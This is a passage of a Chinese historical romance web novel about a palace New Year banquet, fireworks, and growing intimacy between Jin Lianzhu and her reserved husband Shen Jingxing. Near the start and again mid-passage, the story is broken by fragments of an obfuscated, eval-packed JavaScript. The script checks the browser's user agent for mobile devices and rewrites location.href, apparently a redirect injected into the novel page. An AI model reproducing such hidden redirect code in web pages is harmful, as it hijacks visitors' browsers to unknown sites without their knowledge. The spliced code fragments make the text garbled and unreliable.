l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038677|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 靳连珠眼皮跟着跳了跳,试图将胳膊从她怀里抽出来,无奈刚一动弹,甄宛筠就抱得更紧了。 靳连珠不知一个女子哪来这么大的气力,让她丝毫抵抗不得,被半强迫地拉起来。 甄宛筠机灵地道:“干坐着有甚么意思,走,我带你去见见人。” 靳连珠下意识回头,想征询婆母的同意。 甄宛筠却没给她这个机会,一边絮絮叨叨地说着今夜的宴席有多精彩,一边半搂半抱着将她带到女眷堆儿里去玩闹了。 在座的娘子们都同甄宛筠关系甚佳,看在她的面子上,也待靳连珠友善几分。 聊了会子,众人后知后觉这位靳大娘子跟传闻里妖媚荒唐的样儿截然相反,她老实巴交地坐着,笑颜浅浅,话少却懂礼,相处起来令人如沐春风。 最要紧的是,她生得可太美了,相较宫内的贵人们也是有过之而无不及。一张鹅蛋脸只有巴掌大小,墨眉圆眸,翘鼻樱唇,活像个被工匠打磨到极点的瓷人儿。 于是便有娘子好奇,向她打听可保肌肤吹弹可破的秘诀。 其实没甚么秘诀。 靳连珠乃天生丽质。 不过,眼下这么回答未免显得太倨傲。靳连珠稍加思索,把自个儿从前在闺阁里的习惯拿出来跟大伙儿分享。 问完妆容,又问穿着,接着还有首饰... 一茬接着一茬,没完没了。 靳连珠许久没跟同龄女子交谈了,聊得十分开怀,身子却逐渐乏力,倦意汹涌,让她眼皮打架,委实有些招架不住众人的“围攻”。 所幸甄宛筠及时发觉她的不对劲儿,随便扯了个由头,领着靳连珠去暖阁休憩。 靳连珠担忧地询问:“不告知皇后娘娘吗?” “不必,不必。” 甄宛筠笑道:“娘娘忙着呢,管不着这等小事。” 靳连珠相信甄宛筠,遂放下心,不声不响跟随她入了暖阁。 关起门,没了外人。 靳连珠郑重向甄宛筠道谢。 甄宛筠手一挥,格外豪爽:“原本沈王两家就有旧交,咱们做大娘子的,关系亲近也是应当。现下非要谢来谢去的,没得生疏了。” 靳连珠腼腆地笑了笑:“……” 言之有理。 但天下再近的关系也没有白帮的忙,该道的谢还是要道。 “不过——” 甄宛筠话锋一转:“你这样儿,反倒让我想起沈敬行儿时。他呀,打小就是个古板的性子,面无表情地瞅着人,比寒冬腊月的北风还冷,真不知你平素是怎么忍受他的。” 靳连珠脑海里乍然浮现出沈敬行蹙眉冷脸的模样,嘴角的弧度不禁扯得更大一些。 见状,甄宛筠就跟见着天底下最知心的人儿一般,彻底打开话匣子了。 “怨不得官人能跟沈敬行做这么些年的友人,两个儿简直是如出一辙的臭石头脾气。初初成婚那阵子,他整日在我面前端着架子,装得冷心寡情的,弄得我以为他对这桩婚事很不满意呢。” 甄宛筠无心的一番话,却叫靳连珠真真切切地听进去了。她揣着激动不已的心情,故作淡然,尽量用寻常的语调向她求教:“后来你们又是如何破冰的?” “自然是我宽宏大量,不与他一般见识喽。” 甄宛筠剥一颗葡萄喂入嘴里,含糊不清道:“夫妇之间难免有磕磕绊绊的时候,只要不涉及原则,不妨各自退让一步,互相包容着把日子过下去。官人不善言辞,那我这个做大娘子的凡事就主动些,再把心胸放宽大些,慢慢地,两人就磨合好了。” 靳连珠不语,兀自沉默着,细细思量。 葡萄的滋味应该很甜,甄宛筠连续吃了几颗,抽出帕子擦干净指尖的汁水,再度悠然开口:“还有一事,仗着你我关系亲近,我才肯同你讲的。” 这回她的声量极低,神秘兮兮的。 靳连珠的好奇心被诱发:“甚么?” 甄宛筠眨巴眨巴眼睛,一本正经地说:“夫妻房里的事儿,必须得和谐,来日生个一儿半女,还愁拴不住官人的心?正巧我那里有几本关于这方面很不错的册子,改明给你送过去。” 顿了一顿,她郑重其事地补充:“不必言谢。” 靳连珠:“……” - 甄宛筠虽说言辞狂放了些,但她说得那些内容,靳连珠仔细思量下来发觉很有道理。 所谓,话糙理不糙嘛。 两人聊得十分投机,从一开始规矩地坐在椅子上,演变为双双脱去鞋袜,钻入暖阁的榻上面对面躺着畅谈。 永平城内多得是高门贵胄,他们皆瞧不起商贾,认为是一群上不得台面的俗人。 甄宛筠却不一样。 她对靳连珠儿时随父亲四处经商的经历异常感兴趣,听得津津有味,还竖起大拇指赞她为女中豪杰。 靳连珠骨子里残留着到处闯荡的冲劲儿,因着嫁人了,怕被婆家厌恶才不得不掩盖本性。 现今听闻甄宛筠一句真心实意的称赞,顿时比灌了蜜糖还甜。于是变得话多起来,原本浑浑噩噩的脑袋也逐渐清醒了。 快到烟花会之际,白芷叩门提醒两位娘子,得到靳连珠允许后方入内替她整理着装。 到达观赏烟火的露台之后,靳连珠才知晓皇帝带着几位近臣也来了。 甄宛筠一眼就从人堆里捕捉到自个儿的官人,喜津津地走到他身边。 王大人习惯性低头听甄宛筠讲话,虽不曾搭腔,但眼角眉梢都带着笑,藏于宽袖中的手也悄悄勾住她的。 周遭还有别家的夫妇,或并肩而立,或挽臂依偎,脑袋凑在一起,低诉短暂分别期间发生的趣事,气氛恩爱和谐。 靳连珠艳羡不已,下意识向四周张望沈敬行的身影。 露台四周燃着灯笼,光线却不够亮。一排排人影晃过去,看得靳连珠头晕眼花,脚下不稳,眼瞅就要踉跄倒地。 说时迟那时快,一双手臂从后抱住她的腰肢,温热胸膛抵住她的背脊,用怀抱牢牢接住她。 紧接着,与自个儿身上如出一撤的香味儿扑入鼻端。 靳连珠心跳骤然停滞一拍,抬头撞入那双沉寂深邃的眼睛,失神喃喃:“官人...” “嗯。” 这一回,沈敬行没着急收回手跟她保持距离,只移开视线,望向前方,操着不咸不淡地口吻,道:“别看我,看烟火。” 12. 第十二回 话音刚落,数万火光齐冲天际,照得整座皇城锃亮如白日。 露台地势高,放眼望去足以把宫外错综复杂的街巷尽数收入眼底,这会子人群熙熙攘攘,皆涌入街头凑新岁的热闹。 这样盛大的场景是靳连珠进入永平城以来头一回见,她仰着脑袋,漫天的光彩映于她面庞之上,霎时间,看入迷的又何止靳连珠一人。 沈敬行眼底漾着一片柔情,皆被纤长浓密的睫毛遮掩住了。 除去仍旧搭在靳连珠柔软腰肢上的大掌,叫外人瞧,他仍是那个清冷自持的沈尚书,丝毫没变。 却只有他自个儿晓得,他拨开人群来到靳连珠身侧,与她共赏新岁焰火,这份心情究竟有多么快活。 沈敬行贪恋地眄视她,掌根抵住她后腰,稍稍侧身,护着她不被周遭的人挤到,就这么,推着她一步步走到露台的最前方。 靳连珠视野变得开阔,也更清晰仔细了一些。 烟火簇簇绽放于天际,紧接着,哗啦啦散开一片。 因着消失的太快,靳连珠根本不敢眨眼,瞪得眼眶都泛酸了。 也许是受到当下喜庆氛围的影响,她一颗心哐当哐当狂跳不止,莫名其妙的,由心底萌发出一股强烈又原始的冲动。 靳连珠用余光觑沈敬行,不料被他逮个正着。 沈敬行顺势靠近,又没真正挨上她,一本正经地询问:“怎的了?” 靳连珠耳畔充斥着烟火砰砰的巨响,熙攘声一道被掩盖住了。倏有一小股热气喷洒于耳后的肌肤上,弄得她猝不及防,浑身一激灵。 整个人儿紧跟着清醒过来。 靳连珠被脑袋里不成体统的想法臊得脸涨红,略显慌乱地摇头,眼神飘忽不定,白葱状的指尖使劲儿搅着帕子,怯懦道:“不、不怎的。” 这般遮遮掩掩的委实不像她的作风,沈敬行感觉奇怪,睨她的目光灼灼,似要把她的心口凿出个窟窿,好瞧一瞧她有没有扯谎。 靳连珠挨不住他如此直白炙热地打量,面颊飞起两抹绯云,身子也开始发烫发软。若非周遭满当当的人,她早就扑过去捂住他的双眼了。 沈敬行压根儿没那些旖旎心思,单纯以为靳连珠受不了凌冽寒风,正准备唤白芷去取大氅,却先瞥见她拧帕子的小动作。 他一怔,旋即反应过来,表情变得不太自然,抵住她后腰的手也收了,垂首装模作样地整理官服。 二人分明没说上几句话,却仿佛于眼波流转间把淫放的情愫道了个干净。 类似于公开调-情的行径委实超出沈敬行的心理承受能力,无人发觉处,他的耳根已烧得通红。 亏得烟火及时结束,露台霎时恢复先前昏暗的状态,把他们诡异的状态严严实实地遮盖住。 一行人看罢热闹,纷纷沿着阶梯上行,前往闽金殿面见官家、娘娘。 靳连珠与沈敬行一前一后款步走着,中间隔着一段不近的距离,分毫不见寻常年少夫妇那般恩爱无间。 王濮存回头瞧见这一幕,以为先前自个儿给沈敬行支的招全被他抛之脑后,一时之间有些恨铁不成钢。 待沈敬行走近,王濮存没说甚么,反倒是甄宛筠忍无可忍了,狠狠剜他一眼,不解气般,又冷声低斥:“你个木头。” 有幸娶到这么一位天上有地上无的娇娇儿,竟还不知晓珍之爱之,果真是命里没福气的。 沈敬行仍木着一张脸,半点儿反应没有,仿佛甄宛筠啐的人不是他。 甄宛筠打小就看不惯沈敬行这副目中无人的孤傲作派,再联想到靳连珠忙刼刼的柔弱貌,霎时诱发一肚子无名火,撸起袖子就冲过去争论:“暧嗐,当初求我们帮忙是你,到头来,你却放不下架子哄人,还要装聋作哑的。沈允执,你甚么意思嘛。” 王濮存赶紧拦住她,急切又小声地哄:“姑奶奶,小祖宗,心肝儿...到处都是人呢,你且忍一忍脾气,别传入官家和娘娘的耳朵里。” 甄宛筠扭扭捏捏地哼一声,果真安分了。 沈敬行听见王濮存一口一个的爱称,先是惊诧到有些嫌弃,旋即又作若有所思状。很快就恢复如常。 眼瞅着靳连珠已走出很远,沈敬行收敛思绪,径直略过这二人,单手撩开衣袍,跨过门槛儿,大步追上靳连珠,先带着她去向上首的官家娘娘见礼,得到准许之后,遂一齐入座。 宫宴已近尾声,他们只须观赏一会子歌舞,陪着两位贵人叙叙话,饮罢一盏新岁酒,即可向官家禀明离去。 靳连珠因着正在服药,沈敬行索性全代劳了。 他平素鲜少饮酒,酒量却是在官场中锻炼的极好,推杯换盏一番仍目光清明、步伐稳健。反观其余桌前的大人们,个个儿面颊涨红,眼色混沌,晃晃悠悠地站起来,酒盏都端不稳了,需得靠女眷搀扶着前行。 见状,官家爽朗地笑道:“得了得了,爱卿醉成这般就不必非要敬酒了。赶快回去歇着罢。” 一行人遂领命离去。 殿内顿时空旷不少,歌舞却未停。 剩余的这四五家都与大内有些姻亲关系,故而,现下更像一场不怎么松快的家宴。又闻官家言:新春佳节,诸位爱卿不必拘束,只管恣意一些。 话音刚落,甄宛筠拉着官人王濮存起身,扬言要为官家、娘娘献礼。 官家倒没预料到这一茬,顿时兴起,允了。 四面大方的眼神齐刷刷落于夫妇二人身上,王濮存不擅长应对这种场面,可娘子有令不敢不从,只得吩咐宫人去准备。 甄宛筠提前备了衣裳,这会子却觉得不必多事去换,索性将华服宽袖一挽,豪放地饮罢一盏酒,携剑上场。 王濮存端坐于桌前抚琴,曲调慷慨激昂,再观甄宛筠的剑舞,刚中藏柔,柔中带刚,一出配合默契的表演把场子炒得热烘烘的。 演罢,官家拊掌称赞,大悦之下赏金十两,娘娘亦慷慨赐予甄宛筠一顶海棠并蒂金花头冠。 既开了个好头,其余几家按捺不住,接二连三献上才艺。 官家看得起劲儿,亦不吝啬赏赐。 原本半个时辰就能结束的晚宴,硬生生拖到后半夜,最要命的是,席上只剩沈家还未献礼。 靳连珠难免坐立不安。 从前家中二老寻到淮州最有名的女先生教给她琴棋书画,靳连珠学得十分用心,频频得到先生的夸赞,便也沾沾自喜起来。现今才晓得“人外有人、天外有天”的道理,她曾经引以为傲的本领,放在当下竟全然拿不上台面。 靳连珠紧张到手脚冰凉,时刻担心着陛下会询问他家为何不献礼,又担忧贸贸然上场会给沈敬行丢人。 许是过分忧虑把自个儿吓破胆了,靳连珠胃部开始不受控地抽搐,擦得粉儿也掩盖不住她憔悴的面色。 沈敬行警觉地看出她异样的状态:“身子不适?” 靳连珠勉强扬起一抹笑,只道自个儿无事,然后借着啜水的动作掩去眸底的慌张,随口一问似地:“官人不去凑一凑热闹?” 沈敬行十分坦然:“我不会那些。” 靳连珠温吞地哦一声:“除去咱们,各家都献艺了,陛下和娘娘发现之后会不会责怪?” “……” 这样的热闹每年都有,沈敬行从不参与。 一方面是他不擅。 另一方面,是他不喜。 邱肇则浑然相反。 他贵为天子,平素自是威严威武,但一到佳节宴会,难免就暴露出他贪玩、喜欢热闹的本性。论起来,邱肇也不过是个十六七岁少年郎罢了,凡事图个新鲜有趣儿,过后就忘记了,不会计较细枝末节。 考虑到靳连珠第一回入宫过年,难免处处小心谨慎,像只容易受惊的小兔子,倒也能理解。 令沈敬行踌躇着迟迟不开口的原由并非这一桩事。 理智勒令他不准做出不合规矩的举止,眼睛却不老实地瞥向靳连珠。 她手持玉箸,玉镯滑至腕骨,露出的一小片肌肤细嫩如豆腐。 他指腹摩挲杯壁的纹路,到底没能鼓起勇气握住她,至于从王濮存那儿学到的肉麻又甜蜜的称呼,更是万万不可能吐露出口。 叱咤官场的沈尚书在这一刻难得品尝到挫败的滋味。也许甄宛筠骂得没错,他果真是个锯嘴的葫芦,再怎么努力都做不成一个讨人喜欢的丈夫。 沈敬行沉默的这一会子,于靳连珠而言不亚于被放置在滚油上烹。 她急得耳后那片肌肤浮现一片潮红,不止胃部,肚子也开始抽痛,今晚用得丁点儿饭菜都有往上涌的征兆。 靳连珠撂筷,借着宽袖的掩盖摸他的手,试图寻求一点安抚。 偏偏她又不能低头光明正大的去找,于是指腹沿着肌肉紧绷的小臂环绕一圈,触及突起的坚硬腕骨,紧接着到达柔软掌心,根根分明的掌纹之上是他的中指指根,再持续向前行进,总算让她如愿摸到他微凉的指尖。 伴随着柔情,气势汹汹的火焰也不声不响地燎了一路。 唯独靳连珠这个始作俑者不清楚,攥着他的指尖轻晃,跟个没长尖牙的小动物似的。 沈敬行被她咬着也不觉疼,反倒奇痒难耐,喉结滚了又滚,一开口,嗓音嘶哑,仿佛被烈酒泡透了,难以入耳:“没你想得这么严重,且放宽心。” 顿了一顿,他补充:“再喝一轮,就能离场了。” 靳连珠信他,悬着的心逐渐放回肚子里。嗯声答应的同时,跟他纠缠在一起的手也松开了。 沈敬行心头一颤,下意识跟过去想要挽留。 可惜,慢了一步。 恰巧有位大人端着酒盏上前同沈敬行搭话,他只得压抑住繁杂的思绪,起身应酬。 靳连珠眼睁睁看着沈敬行一杯又一杯烈酒下肚,心疼不已,又无法上前阻挠。腹诽道:这些大人们比沈敬行年岁长一轮不止,怎就不知疼惜晚辈呢。 幸而晚宴很快结束,甄宛筠本想着来同靳连珠说几句话,无奈王濮存醉的厉害,只得先顾着他了。 纵使酒量极佳的沈敬行现下也有些迷瞪,面上反倒平淡如常,看不出甚么异样。 靳连珠离得近,发觉他脚步变得虚浮,急慌慌搀扶他前行,并未注意到来自上首那道探究的目光。 待众人离去,邱肇松泛肩膀,翘着二郎腿,没规没矩地瘫坐在龙椅上,歪着头凑近葛皇后,啧道:“难怪表哥鲜少带表嫂露面,这么弱柳扶风的一个娇娇儿,的确得放在家里好好供起来。” “唉,朕实在想不通,这样姿色上乘的娘子,哪里就让姨妈看不上了,绞尽脑汁的处处刁难人家。” “母后大人也真是的...终究是姨妈家里的事儿,旁人上赶着管这些作甚。现在竟就帮着姨妈私下给表哥相看良妾,还非得过问朕的意见...朕若允,岂非变成拆散鸳鸯的恶人,若不允,母后又得发难。真真儿两边为难。” 他拽了拽身旁人儿的衣袖:“阿姊,你怎么想?” 葛姝好背脊笔直,双手交叠放于大腿上,目光清亮,端得一副母仪天下的贤惠模样,声缓且轻盈:“陛下该称臣妾作‘皇后’,而非‘阿姊’。这样不合规矩。” “...噢。” 邱肇换了一边歪着身子,好整以暇地瞅着她,张口就来:“姝好心肝儿,快替朕想想法子。” 葛姝好规整的姿态有一刹那的震颤,向邱肇投去极不赞同的眼神。 邱肇对葛姝好的愠怒视若无睹,伸手扯住她的玉环绶晃着,语调闲散地叫着“姝好阿姊”“俊亲亲”“吾妻卿卿”... 一个塞着一个的肉麻。 一声越过一声的不像话。 邱肇用坦然的神色说着不合身份的言辞,混像个泼皮无赖。 葛姝好羞愧万分,一把将玉环绶抢回来,深吸一口气,暗暗告诫自个儿不能发火。邱肇贵为九五之尊,已不是从前那个不受宠,只知晓围着她打转儿的皇子了,并非是她想斥责就斥责的。 斥责不成,只得劝解。 葛姝好不疾不徐道:“南方战事初歇,各州正值百废待兴之际,陛下年后且有的忙了,自然无暇过问臣子的家事。臣妾这边亦不得空,如今后宫内皆为潜邸时候的旧人,仅有贵妃与惠嫔育有一子一女,依照母后大人的意思,是时候选些新人...” 话音未落,邱肇霍然起身,面带不悦:“得了。” 葛姝好霎时噤声,不明所以地盯着他。 邱肇表情冷得仿若结着冰块,甩下一句“皇后累了就先安置罢,朕得去瞧一瞧贵妃”,便拂袖往殿外走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056995|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >葛姝好立即起身恭送。 邱肇身形顿了一顿,似乎被气狠了,攥着拳头咯吱咯吱作响,脚下却利索一转,往贵妃寝宫相反的方向而去。 葛姝好留在殿内稍坐片刻,发觉邱肇果真没回来,也不再无谓的等下去,兀自回宫歇息,连盏灯都没留。 夜半人静之时,紧闭的寝殿门被气恼的某人猛然推开,砰得一声巨响撞到墙上,紧接着,床幔被扯开,一股子凉意钻入被窝,惊扰葛姝好的美梦,到嘴边的惊呼还未发出,她便被带着恨意、怒意的啃咬给制伏了。 无尽绯色皆被漫天飞舞的床幔掩盖,里头自是一对俗世鸳鸯的抵死缠绵。叫人面红耳赤,羞涩难耐。不堪言说。 - 回府的路上,一阵接着一阵的冷风灌入车厢内,把沈敬行本就不浓郁的醉意驱散的一干二净。 靳连珠不知道沈敬行已经清醒,搀着他的胳膊从未抽离,满脸的担忧,全然不见先前跟他置气的淡漠。 沈敬行心底默念几遍“佯装醉酒博取娘子的关心乃小人行径”,脑袋却有自主意识似地靠上她瘦弱的肩膀。 顾忌靳连珠大病初愈,沈敬行没敢压实,只虚虚依偎着,一条胳膊撑在靳连珠后方,撑起自己身体的全部重量。 靳连珠立即偏头看过来,关切道:“哪里不舒服?” “……” 沈敬行自诩正直,头一回干这种不知廉耻的事儿,不熟练是一方面,心里打鼓般不安宁极了。他干脆阖上双眼,任由耳根羞耻的涨红,几不可闻地哼:“头疼。” 空间狭窄,靳连珠不方便动弹,干脆把帕子随意塞入沈敬行的袖口,露出的边角绣着交-缠花茎,栩栩如生。 此等缠绵悱恻的图案,看得沈敬行心尖一震,方睁开一条缝的眼睛又唰得阖上了。 世间这么些纹样,靳连珠偏要绣一个暗示性极强的。 沈敬行不敢深想,唯恐亵渎娘子,只是浑身火烧火燎的难受,唇舌发干,喉咙奇痒无比,很像是酒劲儿又翻腾上来了。 迷迷糊糊间,沈敬行想起来,今夜的席面上有一道菜,里头掺杂了鹿肉... 靳连珠摸到沈敬行发烫的面颊,担心他受寒发热,于是搂的更紧了。 萦绕在鼻端挥之不散的馨香味儿勾的沈敬行血脉偾张,他再怎么擅长隐忍克制,终究是个血气方刚的少年人,温香软玉在怀,他怎会真的无动于衷。 坏就坏在,靳连珠对此毫无察觉,腾出一只手抚上他的太阳穴,技巧娴熟地打圈摁压。不可谓不温柔体贴。 没揉几下,沈敬行唇齿间溢出一道隐忍的低吟。 寂静的马车内,这一声实在突兀。 沈敬行脑中的弦骤然绷紧,与此同时,他紧紧攥住一双柔夷,制止她继续动作。靳连珠吃不了痛,低切地惊呼:“官人,疼。” 这一声百转千回,可了不得了。 沈敬行内里的火焰噌得点燃,噼里啪啦作响。 今晨见着靳连珠打扮得妩媚动人,露台上背贴胸亲昵无间地观赏烟火,席间她指尖游走于他小臂肌肤...重重画面一齐涌入脑海。 沈敬行眼神发暗,字眼咬得很紧:“这里太热了,我下去走走。” “哎——” 靳连珠留他不住,眼睁睁瞧着他叫停马车,弯腰出去了。 旁边空出的位置由白芷补上。她跟了一路,并未听见车内传出异响,但见两位主子面色都不佳,便识趣儿地闭上嘴。 偶有一阵风吹动车帘,靳连珠看见不远处角檐挂着两盏硕大华丽的花篮灯的方向,认出那是沈府的位置,不知怎的,她心头油然而生一股害怕之感,竟默默掉起泪珠子。 白芷骇一跳,凑上去轻拍靳连珠的背脊,想哄人却不知从何开口,无助地喃喃:“娘子。” 靳连珠吸了吸鼻子,摆手示意她不要声张,待情绪稍稍缓解,方才出声道:“我没事,不慎叫风迷了眼睛了。” 白芷百感交集,也跟着红了眼,低头哀叹一声。 不多时,马车徐徐停在沈府门口,出来迎接的都是雅韵轩的下人们。靳连珠四周看了一圈,没瞧见沈敬行,拂冬及时道:“家主早一步就回了。” 靳连珠眼睫颤了颤,说不清失落还是甚么。 进入雅韵轩才知晓,沈敬行又去书房了,看样子今夜要宿在那边。 靳连珠一声不吭地站在原处,看着敛秋从柜子里找出一套他的衣裳,一手拎着新的鞋袜,向她行礼退下,多余的话一句没有。 白芍恰时端着一碗热气腾腾的汤药入内,错身让道时瞥见敛秋怀里的衣裳,顿时泛起忿忿不平之感——新岁佳节,阖家团圆的日子,家主竟冷着娘子独守空房。 这未免太欺负人了! 但一见靳连珠立在窗前盯着那株红梅失魂落魄的样子,白芍满腹牢骚立即化为虚无,仅剩疼惜。 她尽量让自个儿声音听起来寻常些,上前提醒:“娘子,该用药了。” 靳连珠徐徐转身,端起药碗一饮而尽,眉头都不曾皱一皱。 白芍赶紧从盒子里捡了一块儿蜜饯,却被靳连珠推开:“习惯了,已经不觉得苦了。” 这话说得颇有深意,白芍不敢胡乱应答,自作主张把那一盒子蜜饯留在屋里,端着空碗退下了。 靳连珠从匣子里取出那只臂钏细细把玩,病中这些天跟沈敬行朝夕相对的画面再次浮现于眼前,汤药的苦涩滋味这会子开始发作,逼得她眼泪断线珠子似地淌,可她的帕子还在沈敬行那儿,满脸的泪痕抹也抹不干净,只能任由衣袖被打湿。 抽抽搭搭的隐忍啜泣声打窗边传来,预备入内伺候娘子沐浴的女婢们齐齐停下脚步,识相的退至院里候着。 沈敬行洗净一身的酒味,静坐一会,直至那股躁动不堪的劲儿褪去。念着靳连珠在席上没吃多少东西,夜间容易饿肚子,遂亲自到小厨房一趟,吩咐下人备一碗叶头羹。 办完这些,沈敬行踏着皎皎月色进入雅韵轩,却见端着热水盆、洁面帕子的女婢们立于院中,个个儿面色凝重,大气都不敢出,像是怕惊扰了谁。 沈敬行倍感奇怪,正欲揪个女婢询问发生甚么事了,忽闻一声接着一声委屈的低泣从窗边传来,宛如一只羸弱的小动物,直教人心都碎了。 13. 第十三回 靳连珠哭得眼睛生疼,好歹把情绪发泄掉一些。她用手胡乱抹两把,深吸口气,定定心神,预备去安置了。 房门突然从外推开,灌入一阵嗖嗖寒风,吹得靳连珠从头到脚都蔓着寒意。 她不禁作想:永平城的冬日又长又冷,自己要用多久才能适应呢? 念头刚一起,垂地的纱幔被撩起,沈敬行大步流星的入内。 他个高,遮住半边烛光,垂眼睨着她,天然一股压迫感。 靳连珠有些意外,不懂他怎么突然又到雅韵轩了,只怔怔地注视着他,暂时忘却抹掉挂在脸颊上的泪珠。 沈敬行曲起指节,蹭掉湿漉的痕迹,心疼且不解:“哭什么?” 归家的途中,她不是还好端端的么。 “药。” 靳连珠别过脸去,不愿让他发觉她的脆弱,随便扯了个理由搪塞:“药太苦。” 沈敬行瞅见盛满蜜饯的盒子动也没动,真就信了她,无可奈何地叹:“不喜欢吃这些,下回就叫人往药里放几块冰糖。” 说着,沈敬行掏出先前靳连珠遗落在自己这儿的帕子,轻捏着她的下巴把脸转正,仔仔细细擦去泪痕。 他这双手生得漂亮,手指细长,骨节分明。再加之一袭暗色长袍衬得他清俊肃朗,虽表情冷淡木然,却也别有一番风味。 可惜靳连珠刚刚因为他的忽视恸哭过一场,心里头还残存着不爽快,委实没精神欣赏他的姿色。 她一把抢过帕子,胡乱塞到袖兜里,转身往内间走去,一边解系带更衣,一边故作淡然状问:“官人今夜不歇在书房?” 沈敬行莫名:“除夕夜,你要撵我去宿书房?” “官人莫冤我。” 靳连珠霍得转身,面色不快:“分明是官人丢下我先一步回府,又让敛秋把衣裳拿到书房。换作他人,想必也会这么认为罢。” 前襟的盘扣开了一半,敞开的内衫衣领露出一大片白瓷般的肌肤以及两条火红的细长带子,一直蔓延到修长的脖颈处,于后头系个结,脆弱到一碰即开。 她生得那样美,蹙眉噘嘴的姿态更是娇柔纯粹,胜过书上杜撰的所有不染尘土的仙子。 沈敬行自小读圣贤书,习得正人君子的品行,遇见她之后却道心不稳,频频破功。 眼下竟跟街头那些浪荡登徒子没什么区别,被美色迷失心窍,满脑子仅一个念头—— 俗世间怎会孕育出这样的妙人。 而这样的妙人又怎会成为他的娘子。 靳连珠不爽他又装聋作哑的,掐着一把水葱腰质问:“官人不搭话是何用意?” 沈敬行猝不及防回神,急慌慌转过身,从盒子里随意捻了一颗蜜饯分散注意力。语调软和几分:“...没有刻意丢下你。” “车内燃着炭火,烤得我难受,故而下去透透风。到书房沐浴是怕酒味儿熏着你,以免激得你夜里又咳。既然沐浴了,不得换一身干净衣裳么,我不习惯女婢伺候,只能让敛秋来取。” 说到此处,局势发生逆转,沈敬行反倒变成苦主了:“是你想错我了。” 靳连珠无言良久,迟迟想不出反驳的言语。 怪她没开口向他问个明白,发作起来也占不着上风,于是鼓着腮帮子,心不服气不顺地咽下这个亏。 待宽衣解带摩擦出的细碎响声停止,沈敬行指腹被裹在蜜饯外头的糖霜弄得黏糊糊的,反正不能吃了,他干脆丢去一旁,扬声唤女婢进来伺候靳连珠洗漱,顺势取下潮湿的帕子擦净手指。 靳连珠披一件薄衾绕过屏障,赤脚踩入温度适宜的水中,沉下去时惊起哗啦哗啦的动静。 紧接着,宛如初春绽放的花朵馨香味儿自整个屋里蔓延开。 也是奇了怪了。 沈敬行分明没吃蜜饯,嗓子眼却腻歪歪的,一连几杯温水灌下肚也不解分毫。 他被突如其来的变故弄得生厌,使劲扯松领口才得以喘上气,另只手也不闲着,不停捻着腰间那枚香囊,从内间来回踱步,不知焦躁个什么劲儿。 靳连珠听见那边的声音,以为沈敬行正忙着收拾散落在矮几上的册子——他素来爱书如命——便没往心里去。 沐浴罢,白芍伺候靳连珠穿上衣裳,拿帕子绞头发的时候,其余几人把浴桶等杂物一并抬下去。 待青丝半干,白芍替靳连珠涂抹发油,收拾完毕后便悄悄退下了,顺便遣散院中其余的女婢,与敛秋、白芷一齐在外候着。 忙碌一整日,靳连珠于温水里过一遭,只觉得飘忽的魂儿又回到身子里了,方才的坏情绪也变成微不足道的小事一件,整个人惬意的不像话。 她趿着鞋,悠哉悠哉地回到内间,发现沈敬行正杵在梳妆台前,手里捏着她的玉梳子,不知发什么愣。 靳连珠轻拍他的手臂,唤:“官人?” 沈敬行恍然回神,把玉梳放回原处,视线却不曾往她身上落,只道:“时候不早了,安置罢。” 靳连珠拢住散开的衣襟,心里头说不清的怅然,闷闷地哦了一声。 近段日子两人夜夜宿在一处,不过一直是靳连珠先睡,沈敬行忙完才上榻,轻手轻脚的,绝不惊扰她。 翌日他要入宫参加早朝,天不亮就携官服到隔壁厢房由敛秋伺候穿衣洗漱,待靳连珠睡饱转醒,旁边的被窝已经变得冰凉。 严格论起来,两人夜里就跟搭伙取暖没什么区别,没有一丝一毫的亲密举止。夫妻日子过得比灶上煨的鸡汤还清淡。 可今夜难得两人躺下的时候都清醒着,同一张榻,同一床被褥,肩膀挨着肩膀,软枕靠着软枕。 于是乎,某些暧昧的、缱绻的、隐晦的、挥之不去的情愫缠绕在两人之间,把他们裹得密不透风。又如野草一般,烧过一茬再长一茬,生生不息。 沈敬行作何感想不得而知,伸手不见五指的漆黑中,靳连珠满眼都是被面绣得凫水鸳鸯,跟沈敬行共赏烟火时没得逞的念头又在此刻蠢蠢欲动,让她心快跳到嗓子眼。 不知过去多久,靳连珠察觉到身侧之人呼吸逐渐平稳,猜测他应该是睡熟了,于是壮着胆子想摸摸他的脸。 岂料,手刚抬起就被攥住。 靳连珠被结结实实地吓一跳,随即拧着腕子试图收回手,可惜终究抵抗不了他的力气,整个人连带着被子一齐被拽过去。 她惊慌失措之际,想抓住他的衣领稳住身形,却忘记自己黑夜里目不视物,指尖擦过脖颈,留下一道细细长长的红痕,尾端渗出颗颗血珠。 沈敬行没觉得痛,用掌心护住她后脑勺,以免磕着碰着这具娇贵的躯体。 一阵天旋地转之后,靳连珠跌进他炙热的怀中,薄衫歪歪斜斜地掉入臂弯,柔软的衣料仿佛瀑布般披在背脊上。 春光乍泄。 不外如是。 折腾这一阵,原本掩得严严实实的床幔散开一条缝隙,有一串俏皮的月光顺势溜进来,恰巧给沈敬行机会看个清楚明白。 靳连珠的姿态可谓狂放不羁,披头散发,几缕发丝勾缠到唇边。一张巴掌脸上,瓷白、朱红、墨黑,三种色彩交相辉映,美不胜收。 她佝偻着背坐在他坚硬的肌肉上,莲藕臂被反剪,肚兜起伏不平,蛱蝶采花的图案活灵活现,娇喘吁吁,垂下眼睑睨人样子状似在说时机恰恰,任君采撷。 这场面委实不堪说。 两人俱是一愣。 靳连珠没想到有朝一日沈敬行在这事上也会表现的蛮横霸道,沈敬行则没想到自己力气使大了,造成这么尴尬的场面。 他对天发誓,最初只想跟她换个适合叙话的姿势,绝对无意冒犯。 此情此景,沈敬行根本不敢多瞧,移开视线的同时,揽着她的动作变成往外推,暗示她躺回原处,原本打算说得话也作罢。 